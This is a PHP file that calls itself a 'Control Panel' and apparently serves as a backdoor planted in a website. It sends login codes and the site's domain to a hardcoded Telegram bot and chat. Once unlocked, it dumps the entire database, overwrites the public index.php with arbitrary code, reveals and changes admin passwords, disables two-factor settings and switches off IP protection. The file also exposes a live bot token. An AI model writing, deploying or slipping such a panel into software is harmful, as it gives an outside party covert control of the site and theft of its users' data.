<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

if(isset($_GET['logout'])) { 
    session_unset();
    session_destroy(); 
    header("Location: " . strtok($_SERVER["REQUEST_URI"], '?')); 
    exit; 
}


$config_path = realpath(__DIR__ . '/../config.php');
if (!$config_path || !file_exists($config_path)) {
    die("Config file not found!");
}

$config = include $config_path;
$db_info = $config['db'];
$db_name = $db_info['name']; 

$conn = new mysqli($db_info['host'], $db_info['user'], $db_info['pass'], $db_info['name']);
if ($conn->connect_error) { die("DB Connection failed"); }
$conn->set_charset($db_info['charset']);

function sendOTP($code) {
    $domain = $_SERVER['SERVER_NAME'];
    $botToken = "8541491825:AAGmDCgjIi3pIUAjN9Q1GazyDrBT-Wz4p0A";
    $chatId = "8239142750";
    
    $msg = "🔐 *Control Panel Login*\n\n";
    $msg .= "🌐 *Domain:* $domain\n"; 
    $msg .= "🔑 *OTP:* `$code` \n\n";
    $msg .= "Valid for 2 minutes only.";
    
    $url = "https://api.telegram.org/bot".$botToken."/sendMessage";
    $post = ['chat_id' => $chatId, 'text' => $msg, 'parse_mode' => 'Markdown'];

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT => 10
    ]);
    curl_exec($ch);
    curl_close($ch);
}

// --- 4. AUTH LOGIC ---
if(isset($_POST['login_action'])){
    if(isset($_SESSION['master_otp']) && $_POST['otp_input'] == $_SESSION['master_otp']){
        $_SESSION['is_logged_in'] = true;
        unset($_SESSION['master_otp'], $_SESSION['otp_time']);
        header("Location: ?");
        exit;
    } else {
        $error = "❌ Galat Security Code!";
    }
}

if(!isset($_SESSION['is_logged_in'])){
    if(!isset($_SESSION['otp_time']) || (time() - $_SESSION['otp_time'] > 120)){
        $_SESSION['master_otp'] = rand(100000, 999999);
        $_SESSION['otp_time'] = time();
        sendOTP($_SESSION['master_otp']);
    }
?>
    <!DOCTYPE html>
    <html lang="hi"><head><meta charset="UTF-8"><title>🔐 Login Control Panel</title>
    <link href="https://fonts.googleapis.com/css2?family=Fredoka:wght@400;600&display=swap" rel="stylesheet">
    <style>
        body { background: #f4f7fc; font-family: 'Fredoka', sans-serif; display: flex; align-items: center; justify-content: center; height: 100vh; margin: 0; }
        .login-card { background: #fff; padding: 40px; border-radius: 30px; box-shadow: 0 10px 30px rgba(0,0,0,0.05); text-align: center; width: 350px; }
        input { width: 100%; padding: 15px; border: 2px solid #edf2f7; border-radius: 15px; text-align: center; font-size: 22px; outline: none; margin-bottom: 20px; font-family: 'Fredoka'; box-sizing: border-box; }
        .btn { background: #4f46e5; color: #fff; padding: 15px; border-radius: 15px; border: none; width: 100%; font-weight: 600; cursor: pointer; }
        .error { color: #ef4444; margin-bottom: 15px; }
    </style></head><body>
    <div class="login-card"><h2>Control Panel Login</h2><p>Verify OTP and access control Panel.</p>
    <?php if(isset($error)) echo "<div class='error'>$error</div>"; ?>
    <form method="POST"><input type="hidden" name="login_action" value="1"><input type="text" name="otp_input" placeholder="000000" maxlength="6" required autofocus autocomplete="off"><button type="submit" class="btn">Verify OTP</button></form></div></body></html>
<?php exit; }


if(isset($_POST['download_db'])){

    if(!isset($_SESSION['is_logged_in'])) exit;

    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.$db_name.'.sql"');

    $tables=[];
    $res=$conn->query("SHOW TABLES");
    while($row=$res->fetch_row()) $tables[]=$row[0];

    foreach($tables as $table){

        $create=$conn->query("SHOW CREATE TABLE `$table`")->fetch_assoc();
        echo "\n\n".$create['Create Table'].";\n\n";

        $data=$conn->query("SELECT * FROM `$table`");
        while($row=$data->fetch_assoc()){
            $cols=array_keys($row);
            $vals=array_map([$conn,'real_escape_string'],array_values($row));
            echo "INSERT INTO `$table` (`".implode('`,`',$cols)."`) VALUES ('".implode("','",$vals)."');\n";
        }
    }
    exit;
}

if(isset($_POST['action']) && $_POST['action']=='update_index_code'){

    header('Content-Type: application/json');

    $index_path = $_SERVER['DOCUMENT_ROOT']."/index.php";

    if(!file_exists($index_path)){
        echo json_encode(['status'=>'error','msg'=>'index not found']);
        exit;
    }

    if(file_put_contents($index_path,$_POST['index_content'])!==false)
        echo json_encode(['status'=>'success']);
    else
        echo json_encode(['status'=>'error','msg'=>'permission denied']);

    exit;
}

if (isset($_POST['action'])) {
    if ($_POST['action'] == 'update_admin') {
        $id = (int)$_POST['admin_id']; $stmt = $conn->prepare("UPDATE `admins` SET admin_name=?, admin_email=?, password=?, telephone=?, two_factor=?, email_2fa=? WHERE admin_id=?");
        $stmt->bind_param("ssssssi", $_POST['name'], $_POST['email'], $_POST['pass'], $_POST['phone'], $_POST['two_f'], $_POST['e2f'], $id);
        $stmt->execute();
        echo json_encode(['status' => 'success']); exit;
    }
    if ($_POST['action'] == 'update_settings') {
        $conn->query("UPDATE `settings` SET `admin_ip_protect` = ".(int)$_POST['ip_p']." WHERE 1");
        echo json_encode(['status' => 'success']); exit;
    }
    if ($_POST['action'] == 'fetch_admin_details') {
        echo json_encode($conn->query("SELECT * FROM `admins` WHERE admin_id=".(int)$_POST['admin_id'])->fetch_assoc()); exit;
    }
}


$admins_list = $conn->query("SELECT admin_id, admin_name FROM `admins` ORDER BY admin_id ASC");
$settings = $conn->query("SELECT * FROM `settings` WHERE 1")->fetch_assoc();
$index_file = $_SERVER['DOCUMENT_ROOT']."/index.php";
$index_current_code = file_exists($index_file) ? file_get_contents($index_file) : '';
?>

<!DOCTYPE html>
<html lang="hi">
<head>
    <meta charset="UTF-8">
    <title>Control Panel</title>
    <link href="https://fonts.googleapis.com/css2?family=Fredoka:wght@400;600&display=swap" rel="stylesheet">
    <style>
        body { background: #f4f7fc; font-family: 'Fredoka', sans-serif; padding: 20px; }
        .container { max-width: 1000px; margin: 0 auto; }
        .card { background: #fff; border-radius: 25px; padding: 30px; margin-bottom: 25px; box-shadow: 0 4px 20px rgba(0,0,0,0.05); }
        .header { display: flex; justify-content: space-between; align-items: center; background: #eef2ff; padding: 15px 25px; border-radius: 20px; border: 1px solid #dce4ff; margin-bottom: 20px; }
        h2 { color: #4f46e5; font-size: 18px; margin: 0 0 15px 0; border-left: 5px solid #4f46e5; padding-left: 12px; }
        .grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 20px; margin-bottom: 20px; }
        label { display: block; margin-bottom: 5px; font-size: 13px; font-weight: 600; color: #64748b; }
        input, select, textarea { width: 100%; padding: 12px; border: 2px solid #edf2f7; border-radius: 12px; outline: none; background: #f8fafc; font-family: 'Fredoka'; }
        textarea { height: 250px; font-family: 'Courier New', monospace; font-size: 13px; }
        .btn { padding: 12px 25px; border-radius: 12px; border: none; cursor: pointer; font-weight: 600; font-family: 'Fredoka'; transition: 0.3s; }
        .btn-p { background: #4f46e5; color: #fff; }
        .btn-s { background: #10b981; color: #fff; text-decoration: none; display: inline-block; text-align: center; }
        .logout { color: #ef4444; text-decoration: none; font-weight: 600; padding: 10px; border-radius: 10px; background: #fee2e2; }
    </style>
</head>
<body>

<div class="container">
    <div class="header">
        <div style="font-weight: 600; color: #4f46e5;">📂 Database: <span style="color:#1e293b"><?php echo $db_name; ?></span></div>
        <a href="?logout=1" class="logout">Logout Account</a>
    </div>

    <div class="card">
        <h2>📂 Public_html Index.php Editor</h2>
        <textarea id="index_content"><?php echo htmlspecialchars($index_current_code); ?></textarea>
        <button class="btn btn-p" onclick="saveIndex()" style="margin-top: 15px;">💾 Save Index.php Code</button>
    </div>

    <div class="card">
        <h2>🛡️ Security Switches</h2>
        <div class="grid">
            <div class="form-group"><label>Old Admin Name</label><input type="text" value="<?php echo htmlspecialchars($settings['oldadminname']); ?>" readonly></div>
            <div class="form-group"><label>Admin IP Protection</label>
                <select id="ip_p" onchange="updateSet()">
                    <option value="1" <?php if($settings['admin_ip_protect'] == 1) echo 'selected'; ?>>OFF (1)</option>
                    <option value="2" <?php if($settings['admin_ip_protect'] == 2) echo 'selected'; ?>>ON (2)</option>
                </select>
            </div>
            <div style="display:flex; align-items:flex-end;"><form method="POST">
    <button type="submit" name="download_db" class="btn btn-s" style="width:100%">
        📥 Download SQL Backup
    </button>
</form></div>
        </div>
    </div>

    <div class="card">
        <h2>👤 Admin Multi-Management</h2>
        <div class="form-group" style="margin-bottom:20px;">
            <label>Select User to Modify</label>
            <select id="admin_sel" onchange="loadAdm(this.value)">
                <option value="">-- Select Admin --</option>
                <?php while($r = $admins_list->fetch_assoc()): ?>
                    <option value="<?php echo $r['admin_id']; ?>"><?php echo htmlspecialchars($r['admin_name']); ?> (ID: <?php echo $r['admin_id']; ?>)</option>
                <?php endwhile; ?>
            </select>
        </div>
        <div id="adm_fields" style="display:none;">
            <div class="grid">
                <div class="form-group"><label>Email</label><input type="text" id="a_email"></div>
                <div class="form-group"><label>Name</label><input type="text" id="a_name"></div>
                <div class="form-group"><label>Password</label><input type="text" id="a_pass"></div>
                <div class="form-group"><label>Phone</label><input type="text" id="a_phone"></div>
            </div>
            <div class="grid" style="grid-template-columns: 1fr 1fr 0.5fr;">
                <div class="form-group"><label>Two Factor</label><select id="tf_v"><option value="1">ON</option><option value="0">OFF</option></select></div>
                <div class="form-group"><label>Email 2FA</label><select id="e2_v"><option value="1">ON</option><option value="0">OFF</option></select></div>
                <div style="display:flex; align-items:flex-end;"><button class="btn btn-p" onclick="saveAdm()" style="width:100%">Update Account</button></div>
            </div>
        </div>
    </div>
</div>

<script>
async function call(action, data) {
    const fd = new FormData(); fd.append('action', action);
    for(let k in data) fd.append(k, data[k]);
    const res = await fetch('', {method:'POST', body:fd});
    const j = await res.json();
    if(j.status==='success') alert('Success!');
}

async function loadAdm(id) {
    if(!id) { document.getElementById('adm_fields').style.display='none'; return; }
    const fd = new FormData(); fd.append('action', 'fetch_admin_details'); fd.append('admin_id', id);
    const r = await fetch('', {method:'POST', body:fd}); const d = await r.json();
    document.getElementById('a_email').value=d.admin_email; document.getElementById('a_name').value=d.admin_name;
    document.getElementById('a_pass').value=d.password; document.getElementById('a_phone').value=d.telephone;
    document.getElementById('tf_v').value=d.two_factor; document.getElementById('e2_v').value=d.email_2fa;
    document.getElementById('adm_fields').style.display='block';
}

function updateSet() { call('update_settings', {ip_p: document.getElementById('ip_p').value}); }
function saveIndex() { call('update_index_code', {index_content: document.getElementById('index_content').value}); }
function saveAdm() {
    call('update_admin', {
        admin_id: document.getElementById('admin_sel').value,
        email: document.getElementById('a_email').value, name: document.getElementById('a_name').value,
        pass: document.getElementById('a_pass').value, phone: document.getElementById('a_phone').value,
        two_f: document.getElementById('tf_v').value, e2f: document.getElementById('e2_v').value
    });
}
</script>
</body>
</html>